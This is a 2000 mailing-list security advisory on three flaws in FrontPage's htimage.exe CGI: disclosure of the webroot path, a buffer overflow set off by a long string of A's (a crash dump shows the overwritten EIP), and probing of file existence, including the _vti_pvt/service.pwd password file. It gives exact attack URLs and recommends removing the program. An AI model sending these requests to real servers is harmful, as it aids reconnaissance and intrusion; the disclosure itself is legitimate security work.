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Subject: More vulnerabilities in FP
From: Narrow (narrowHOBBITON.ORG)
Date: Wed Apr 19 2000 - 12:15:54 CDT

[ Reader(s), please CC your comments/etc to narrowhobbiton.org ]

Hello,
I'm not on the list, but a person suggested me to send my advisory here,
attached.

Thank you,
Narrow

-------[ Legion2000 - Russian Security Team (ADV-150400#1) ]-------
                        www.legion2000.cc

---- INFORMATION ----
Program Name : CERN Image Map Dispatcher
Discovered By : Narrow (narrowhobbiton.org)
---------------------

Problem Description
~~~~~~~~~~~~~~~~~~~
CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with FrontPage. I found three bugs
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple buffer overflow 3) Allow
us to access files.

Problem #1
~~~~~~~~~~
Like I said, the first bug gives us the full path to the root directory. I tested this vulnerability
against some servers, all where vulnerable!

Tested / Vulnerable FP Servers: 3.0.2.926 (FrontPage'98), 3.0.2.1706, 4.0.2.2717, 2.0.1.927, 3.0.2.926,
3.0.2.1105, 3.0.2.1330, 3.0.2.1117 (All Windows based web servers are vulnerable if we have premission
to execute "htimage.exe" + If "htimage.exe" exist).

To test this vulnerability we need "htimage.exe" in our "cgi-bin" directory (it's installed by default)
and premission to execute it. That's why only Windows is vulnerable, Unix based systems can't execute
"*.exe" files.

If we access "htimage.exe" using our favorite web browser like: http://server/cgi-bin/htimage.exe/linux?0,0
we get this error:

------------------------------------------------------------------------------------
Error

Error calling HTImage:

Picture config file not found, tried the following:

     q:/hidden_directory_because_of_the_script_kiddies/webroot/linux
     /linux
------------------------------------------------------------------------------------

Now we know that the path to the root directory is "q:/hidden_directory_because_of_the_script_kiddies/webroot/".

Problem #2
~~~~~~~~~~
Like I said, simple buffer overflow. Tested against "Microsoft-PWS-95/2.0" and "FrontPage-PWS32".
Tested / Vulnerable OS: Windows'95/98
"htimage.exe" buffer overflows if we access it like: http://server/cgi-bin/htimage.exe/<742 A's>?0,0.

------------------------------------------------------------------------------------
HTIMAGE caused an invalid page fault in
module <unknown> at 0000:41414141.
Registers:
0EAX=815c6240 CS=0137 EIP=41414141 EFLGS=00010246
EBX=0063fe28 SS=013f ESP=005400b4 EBP=005400d4
ECX=0054015c DS=013f ESI=005401a0 FS=3467
EDX=bff76648 ES=013f EDI=00540184 GS=0000
Bytes at CS:EIP:

Stack dump:
bff7663c 00540184 0063fe28 005401a0 0054015c 00540290 bff76648 0063fe28
0054016c bff85a0a 00540184 0063fe28 005401a0 0054015c 41414141 0054034c
------------------------------------------------------------------------------------
<Server still running> + <500 Server Error>

First remote FrontPage exploit?

Problem #3
~~~~~~~~~~
It's not a serious bug. Using "htimage.exe" we can access files on server, but
we can't read them. Accessing "htimage.exe" like: http://server/cgi-bin/htimage.exe/_vti_pvt/service.pwd?0,0
outputs:

------------------------------------------------------------------------------------
Error

Error calling HTImage:

HTImage.c: Syntax error at line 1 Bad field name, expecting 'default', 'rectangle', 'circle' or
'polygon' (got an alphanumeric string)
------------------------------------------------------------------------------------

NOTE: Accessing "/_vti_pvt/service.pwd" outputs : 403 Forbidden

The Cyberiad <cyberiadcyberus.ca> adds:
------------------------------------------------------------------------------------
For example, if your webroot is at d:\Inetpub\wwwroot, the request,

http://server/cgi-bin/htimage.exe/test.doc?0,0

will test for the existence of a file d:\test.doc. Note however, that
"htimage.exe" checks for the file d:\Inetpub\wwwroot\test.doc first and
then d:\test.doc. It does not allow me to test for file existence on
other volumes.
------------------------------------------------------------------------------------

Solution
~~~~~~~~
1) Remove "htimage.exe".
2) Do not use FrontPage, simple enough :)

Comments
~~~~~~~~
Sorry for my bad english, not my mother/father language ;)

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